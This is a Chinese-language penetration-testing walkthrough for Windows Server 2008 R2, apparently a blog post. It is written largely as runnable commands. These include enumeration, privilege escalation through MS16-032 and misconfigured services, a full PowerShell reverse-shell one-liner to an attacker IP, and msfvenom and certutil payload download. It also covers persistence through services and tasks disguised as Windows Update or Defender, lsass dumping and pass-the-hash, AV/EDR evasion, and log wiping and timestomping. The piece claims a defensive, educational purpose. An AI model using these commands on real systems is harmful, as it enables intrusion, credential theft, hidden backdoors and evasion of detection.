1. 项目概述与核心价值
最近在整理一些老系统的安全评估记录,翻到了一个典型的Windows Server 2008 R2环境渗透测试案例。这个系统虽然早已过了扩展支持周期,但在一些特定行业(如制造业、医疗、教育)的内部网络中依然偶有现身,往往承载着一些难以迁移的关键业务应用。针对这类“老、旧、弱”系统的安全测试,其核心价值不在于炫技,而在于揭示一个残酷的现实:一个未打补丁的系统漏洞,配合上薄弱的内网权限管理,足以让攻击者从外部的一个小口子,一路畅通无阻地拿到整个域的控制权。今天,我就以一个实战复现的视角,完整拆解从漏洞利用、权限提升到建立稳定远程控制通道的全过程。这不仅是技术复盘,更希望能为仍在运维此类系统的管理员敲响警钟,也为安全研究人员提供一个清晰的、可复现的攻防演练蓝本。
整个流程可以概括为“发现-利用-提权-控制”四个阶段。我们假设攻击者已经通过某种方式(例如,利用一个面向公网的Web应用漏洞)获得了在该服务器上的一个初始立足点,通常是一个低权限的Web服务账户(如IIS APPPOOL\DefaultAppPool或NETWORK SERVICE)。我们的目标就是从这个受限的“牢笼”里跳出来,拿到最高权限的SYSTEM或管理员账户,并部署一个隐蔽、稳定的后门,实现持续的远程控制。在这个过程中,我们会重点剖析几个经典漏洞和工具的使用逻辑,以及在实际对抗环境中可能遇到的“坑”。
2. 环境准备与信息收集
实战的第一步永远不是盲目地扔出漏洞利用代码,而是静下心来,像外科手术前的检查一样,把目标系统的“身体状况”摸清楚。对于Windows Server 2008 R2,我们需要收集的信息维度远比新系统要多。
2.1 系统基础信息探查
拿到一个低权限的Shell(可能是通过Webshell或命令注入获得的cmd/powershell)后,首先要做的就是系统指纹识别。虽然标题已经指明了是2008 R2,但确认具体版本和补丁级别至关重要。
# 查看系统版本和补丁信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)" # 另一种更详细的方式,使用WMIC wmic os get caption, version, csname, osarchitecture, buildnumber, servicepackmajorversion, lastbootuptimesysteminfo命令的输出会列出所有已安装的补丁(KB编号)。这是我们的“宝藏图”,我们需要快速从中识别出哪些关键的安全补丁没有安装。例如,对于提权,我们会重点关注像KB2871997、KB3045171这类与用户账户控制(UAC)或凭证处理相关的补丁是否缺失。
注意:在内网环境中,
systeminfo命令执行可能会比较慢,因为它会尝试从Windows Update获取更多信息。如果环境受限,可以使用wmic qfe get hotfixid来只获取补丁列表,速度更快。
2.2 权限与用户枚举
明确当前权限能做什么,是规划后续行动的基础。
# 查看当前用户和权限 whoami whoami /priv whoami /groups # 查看本地用户和组,特别是管理员组 net user net localgroup administrators # 查看当前进程,寻找以高权限(如SYSTEM、Administrator)运行的服务或进程 tasklist /v | findstr /I "system admin"这里有个关键点:whoami /priv会显示当前令牌(Token)启用的特权。即使你是一个普通用户,如果某些高危特权(如SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege)被启用,那么提权的大门就已经敞开了一半。在IIS的应用程序池账户上下文中,SeImpersonatePrivilege通常是默认启用的,这为经典的“土豆系列”(Juicy Potato, Rogue Potato)提权漏洞提供了温床。
2.3 网络与服务发现
了解系统在内网中的角色和开放的端口,有助于我们判断横向移动的可能性和建立控制通道的方式。
# 查看网络配置和活动连接 ipconfig /all netstat -ano | findstr LISTENING # 查看启动的服务,寻找可能存在漏洞的旧版本服务 sc query state= all | findstr SERVICE_NAME wmic service get name, displayname, pathname, startmode | findstr /i auto特别注意那些以SYSTEM权限启动的、二进制文件路径包含空格且权限配置不当的服务,这是经典的DLL劫持或可执行文件替换提权的手工检查点。同时,留意是否有像VNC、Radmin、TeamViewer(旧版本)等第三方远程管理软件的痕迹,它们本身可能就是突破口或备用控制通道。
3. 漏洞利用与提权路径解析
信息收集完毕后,我们就进入了核心的突破阶段。针对Windows Server 2008 R2,有几条经过时间检验的经典提权路径。
3.1 利用系统未修补的本地提权漏洞
这是最直接的方式。我们需要将之前收集的补丁列表与已知的本地提权漏洞进行比对。例如:
- MS14-058 (CVE-2014-4113) / MS15-010 (CVE-2015-0057):内核模式驱动中的漏洞,对应提权工具如
MS14-058.exe。如果目标没有安装2015年初的相应补丁,成功率很高。 - MS16-032 (CVE-2016-0099):Secondary Logon Handle漏洞,对应工具
MS16-032.ps1或ms16-032.exe。这是一个非常稳定可靠的提权漏洞,在未打补丁的2008 R2上几乎百发百中。 - MS17-010 (CVE-2017-0143):大名鼎鼎的“永恒之蓝”系列漏洞中的SMB漏洞。虽然它更广为人知的是远程代码执行,但其内核模块
srv.sys的漏洞同样可以用于本地提权。使用MS17-010(EternalBlue)的本地提权版本,如一些修改后的ms17-010.exe。
实操要点:
- 工具上传与执行:将编译好的提权利用程序(exe)上传到目标服务器的可写目录,如
C:\Windows\Temp\或C:\inetpub\wwwroot\upload\(如果是Webshell)。注意杀毒软件可能会拦截,可能需要做简单的混淆或使用无文件落地的方式。 - 使用Metasploit的本地模块:如果你是通过Meterpreter会话连接的,可以直接在Metasploit框架内搜索并使用对应的本地提权模块,例如
use exploit/windows/local/ms16_032_secondary_logon_handle,然后设置会话set SESSION 1,执行run。这种方式更集成化,成功后会自动将权限迁移到高权限进程。 - 手动执行与回连:对于独立的exe,通常用法是
ms16-032.exe -c “需要执行的命令”。例如,ms16-032.exe -c “net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add”,直接添加一个管理员账户。更稳妥的做法是执行一个反弹Shell的命令,将高权限的Shell弹回你的监听器。
踩坑记录:在一次测试中,直接使用
ms16-032.exe -c “cmd.exe”试图打开一个交互式Shell失败了,因为创建的进程很快就退出了。后来改用-c “powershell -nop -c ‘$client = New-Object System.Net.Sockets.TCPClient(\”攻击者IP\”,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \”PS \” + (pwd).Path + \”> \”;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()’”这种冗长的PowerShell反弹命令时,由于命令中的引号嵌套和长度问题也失败了。最终解决方案是,先将PowerShell反弹脚本写入一个临时文件,然后让提权工具执行这个脚本文件,成功率100%。
3.2 利用服务配置不当提权
如果系统补丁打得比较全,那么就需要转向逻辑漏洞。检查服务配置是重中之重。
查找弱权限服务:使用
accesschk.exe(SysInternals工具包的一部分)或PowerUp.ps1脚本进行自动化扫描。# 上传并导入PowerUp.ps1 Import-Module .\PowerUp.ps1 Invoke-AllChecks这个脚本会检查一系列常见的提权向量,包括:
- 服务可执行文件权限:服务对应的exe文件是否允许普通用户修改或写入。
- 未引用的服务路径:服务路径如
C:\Program Files\Vulnerable App\service\sub dir\server.exe,如果路径中包含空格且没有用引号括起来,Windows会按顺序尝试定位可执行文件。攻击者可以在C:\Program Files\Vulnerable App\service\目录下放置一个恶意的sub.exe,当服务重启时,系统会执行sub.exe而不是sub dir\server.exe。 - 服务注册表权限:是否有权限修改服务的
ImagePath注册表项。
利用过程:以“未引用的服务路径”为例。假设发现一个以
SYSTEM运行的VulnService,其路径为C:\My Programs\My Service\service.exe。- 确认你对
C:\My Programs\有写入权限。 - 将你的后门程序(例如一个添加用户的exe)重命名为
My.exe,上传到C:\My Programs\目录下。 - 重启服务。系统会尝试执行
C:\My Programs\My.exe(因为空格,它解析为C:\My Programs\My作为程序,Service\service.exe作为参数),从而以SYSTEM权限运行你的恶意程序。 - 重启服务的方式可以是等待系统更新或管理员维护,或者如果你有
SC_MANAGER相关权限,可以尝试用sc stop VulnService & sc start VulnService。
- 确认你对
3.3 利用计划任务提权
Windows计划任务(Task Scheduler)也是提权的常见入口。检查是否有计划任务指向用户可修改的脚本或可执行文件。
# 查看计划任务列表 schtasks /query /fo LIST /v # 或者使用更强大的PowerShell Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft*"} | Format-Table TaskName, TaskPath, State如果发现一个计划任务以高权限运行,并且其操作(Action)指向一个.bat,.vbs,.ps1脚本或某个exe,而这个文件所在的目录你对它有“完全控制”权限,那么你就可以替换这个文件,等待任务执行时获得权限。
4. 建立持久化远程控制通道
提权成功,拿到SYSTEM或管理员权限的Shell后,工作只完成了一半。一个不稳定的、可能随时关闭的Shell是没有价值的。我们需要建立一个隐蔽、稳定、重启后依然存在的远程控制通道。
4.1 传统后门方式及其局限性
很多人第一反应是添加隐藏用户、开启远程桌面(RDP)。这在某些情况下可行,但动静太大,容易被发现。
- 添加隐藏用户:
net user命令添加的用户,在“计算机管理”和net user命令列表中可见。使用net user username$ password /add可以创建一个以$结尾的“隐藏”用户,在普通net user列表中不显示,但在“本地用户和组”管理单元(lusrmgr.msc)中依然可见,并非真正隐蔽。 - 开启RDP:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f加上防火墙规则。但RDP端口3389是重点监控对象,连接行为也容易被日志记录。
4.2 推荐:部署定制化C2代理
在专业的渗透测试或红队行动中,更倾向于部署一个轻量级的、支持加密和混淆的Command & Control (C2) 代理。这里以开源的Cobalt Strike的Beacon或Metasploit的Meterpreter为例,讲解部署思路。
生成Payload:在C2服务器上,生成一个适合目标的Staged或Stageless Payload。对于Windows,通常选择
.exe或.ps1格式。考虑到免杀,可能需要进行编码、加壳或使用Shellcode加载器。- 在Metasploit中:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=你的IP LPORT=443 -f exe -o beacon.exe - 在Cobalt Strike中:通过
Attack -> Packages -> Windows Executable (S)生成。
- 在Metasploit中:
上传与执行:将生成的
beacon.exe上传到目标服务器的隐蔽目录,例如C:\Windows\Temp\、C:\ProgramData\下的某个子文件夹,或者利用系统本身的合法路径进行伪装。# 假设我们已经有一个SYSTEM权限的cmd cd C:\Windows\Temp # 使用certutil下载(如果出网) certutil -urlcache -split -f http://你的服务器/beacon.exe beacon.exe # 或者直接上传文件后,执行 start beacon.exe持久化安装:让代理在系统启动时自动运行。
- 注册表启动项:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f。这种方法简单,但也是常规检查点。 - 服务安装:将代理安装为系统服务,更加隐蔽和稳定。
这里的关键是# 使用sc命令创建服务 sc create "WinDefendUpdate" binPath= "C:\Windows\Temp\beacon.exe" start= auto DisplayName= "Windows Defender Update" sc start "WinDefendUpdate"binPath=后面的等号和值之间必须有一个空格!这是sc命令的古老语法,无数人在这里踩坑。服务名和显示名尽量模仿系统服务。 - 计划任务:创建一个在系统启动或用户登录时触发的计划任务,指向我们的代理。
路径schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\Sync" /tr "C:\Windows\Temp\beacon.exe" /sc onstart /ru SYSTEM /f\Microsoft\Windows\WindowsUpdate\Sync看起来像是系统任务,隐蔽性较好。
- 注册表启动项:
隧道与代理:一旦代理上线,你就可以在C2服务器上建立一个
socks代理,通过这台被控的服务器去访问其所在内网的其他机器,进行横向移动。- 在Metasploit的Meterpreter会话中:
run autoroute -s 10.0.0.0/24(添加路由),然后background会话,使用auxiliary/server/socks_proxy模块开启代理。 - 在Cobalt Strike中,右键点击上线的Beacon,选择
Pivoting -> SOCKS Server。
- 在Metasploit的Meterpreter会话中:
4.3 备用通道:利用系统自带工具
在某些严格限制出网协议的环境中,可能需要对C2流量进行伪装,或者需要准备备用控制通道。
- DNS隧道:如果目标服务器只能进行DNS查询,可以使用
DNS隧道工具(如dnscat2)建立控制通道。将流量封装在DNS查询和响应中。 - ICMP隧道:使用
icmpsh或ptunnel等工具,将数据封装在ICMP Echo请求/响应包中。这在只允许ping通外网的环境中有效。 - Web反向代理:如果服务器上运行着Web服务(如IIS),可以尝试在Web目录中部署一个
aspx或jsp的Webshell作为备用交互界面。例如,使用AntSword或Cobalt Strike的Foreign HTTP监听器配合Web Delivery脚本,在严格网络策略下可能更容易建立连接。
实操心得:关于免杀与对抗:现在的EDR(终端检测与响应)和杀毒软件非常敏感。直接使用
msfvenom生成的默认exe几乎会被瞬间查杀。我的经验是:
- 使用加载器(Loader):自己用C/C++或Go编写一个简单的Shellcode加载器,从资源文件或网络加载加密的Shellcode,在内存中解密并执行。这样可以绕过基于静态特征的查杀。
- 分离式加载:将Payload放在远程服务器上。代理只负责下载一段Loader代码,再由Loader去下载并执行最终的Shellcode。这样代理本身很小,特征不明显。
- 过程注入(Process Injection):将Shellcode注入到像
explorer.exe,svchost.exe这类白名单进程中执行。Meterpreter的migrate命令就是干这个的。可以编写自己的注入工具,或者使用像Process Hollowing这样的技术。- 签名与伪装:给生成的exe伪造一个有效的数字签名(注意法律风险),或者将其捆绑(Bind)到一个正常的软件安装包里。
5. 横向移动与权限维持进阶
在单台服务器上站稳脚跟后,视野要转向整个内网。Windows Server 2008 R2很可能是一个域成员服务器,甚至是域控制器(DC)。
5.1 凭证窃取与哈希传递
在内网中,最宝贵的资产就是凭证(密码、哈希值)。
抓取内存中的密码哈希:使用
Mimikatz是标准操作。但直接运行mimikatz.exe可能会被内存扫描查杀。- 离线抓取:先使用
procdump.exe(微软官方工具,白名单)将lsass.exe进程的内存转储下来:procdump.exe -accepteula -ma lsass.exe lsass.dmp。然后将dump文件下载到本地,在本地用Mimikatz分析:sekurlsa::minidump lsass.dmp->sekurlsa::logonPasswords full。 - 绕过LSA保护:如果系统安装了
KB2871997补丁并启用了“受保护的进程”功能(RunAsPPL),上述方法可能失效。需要先利用驱动漏洞或特殊方法绕过保护,或者尝试从注册表HKLM\SECURITY和HKLM\SAM中提取缓存的凭据(需要SYSTEM权限)。
- 离线抓取:先使用
哈希传递攻击:一旦获取到其他用户(尤其是域管理员)的NTLM哈希,就可以在不破解明文密码的情况下,直接使用该哈希进行身份验证,访问网络资源。
# 在Meterpreter中,加载Mimikatz后 meterpreter > load kiwi meterpreter > pth USERNAME DOMAIN HASH # 或者使用独立的工具如smbexec.py python smbexec.py -hashes :NTLM_HASH DOMAIN/USERNAME@TARGET_IP
5.2 利用域内漏洞与关系
如果目标是域控制器或拥有域管理员权限的服务器,攻击面会急剧扩大。
- MS14-068 (CVE-2014-6324):Kerberos域提权漏洞。允许任何一个域用户伪造票据,将自己提升为域管理员。使用
pykek或goldenPac.py工具可以利用。 - SMB共享扫描与爆破:使用
crackmapexec等工具,利用获取的哈希或密码,对网段进行SMB爆破和命令执行。 - GPP密码泄露:在域组策略中,历史上曾有一个功能允许管理员为域内计算机的本地账户设置统一密码,这些密码被加密后存储在
SYSVOL共享目录的XML文件中。加密密钥是公开的,导致密码可被轻易解密。使用Get-GPPPassword.ps1脚本可以自动化搜索和解密。
6. 痕迹清理与对抗检测
“悄悄地进村,打枪的不要。” 在完成目标后,或者在日常维护后门时,清理痕迹至关重要。
日志清理:Windows事件日志是管理员回溯攻击路径的主要依据。
- 清除特定日志:在PowerShell中,
Clear-EventLog -LogName Security, System, Application。但这条命令本身会产生新的日志条目。 - 更隐蔽的方法:使用
wevtutil工具,或者直接编写程序调用Windows API来按条件删除日志条目,而不是清空整个日志。 - 实操建议:对于短期测试,可以考虑在攻击前就禁用相关日志(
wevtutil sl Security /e:false),但这也是一种异常行为。对于长期潜伏,更优策略是尽量不触发会产生警报的日志(如4625登录失败、4688进程创建等),而不是事后清理。
- 清除特定日志:在PowerShell中,
文件时间戳修改:上传的工具和后门文件会留下创建、修改、访问时间。使用
timestomp工具(Metasploit)或PowerShell命令可以将文件时间修改为与系统目录中其他合法文件一致的时间。# 将一个文件的时间戳设置为与kernel32.dll相同 $templateFile = Get-Item C:\Windows\System32\kernel32.dll $targetFile = Get-Item C:\Windows\Temp\beacon.exe $targetFile.CreationTime = $templateFile.CreationTime $targetFile.LastAccessTime = $templateFile.LastAccessTime $targetFile.LastWriteTime = $templateFile.LastWriteTime隐藏进程与网络连接:高水平的Rootkit可以隐藏进程和端口。但在不安装驱动的情况下,可以通过将后门注入到系统可信进程(如
svchost.exe)中,这样网络连接看起来是属于svchost.exe的,相对隐蔽。对抗内存扫描:这是与EDR/杀软对抗的前沿。技术包括:
- 直接系统调用:不通过正常的Windows API(如
CreateRemoteThread),而是直接调用底层系统服务,避免用户态的Hook。 - 反射式DLL注入:将DLL直接加载到内存中,而不在磁盘上留下DLL文件,也不通过
LoadLibraryAPI。 - 进程镂空:创建一个合法进程的挂起状态,将其内存替换为恶意代码,然后恢复执行。
- 直接系统调用:不通过正常的Windows API(如
整个从提权到远程控制的过程,是一场与系统防御机制持续博弈的猫鼠游戏。针对像Windows Server 2008 R2这样的老系统,虽然已知漏洞多,但往往也意味着其所在的环境相对封闭,安全监控可能较弱,或者存在大量兼容性限制,这给攻击和防御都带来了独特的挑战。对于防御方而言,最根本的措施仍然是及时升级系统、打上所有安全补丁、遵循最小权限原则、部署网络分段和严格的主机安全策略。而对于安全研究者来说,理解这些经典攻击链的每一个环节,不仅能更好地进行渗透测试,更是构建有效防御体系的知识基石。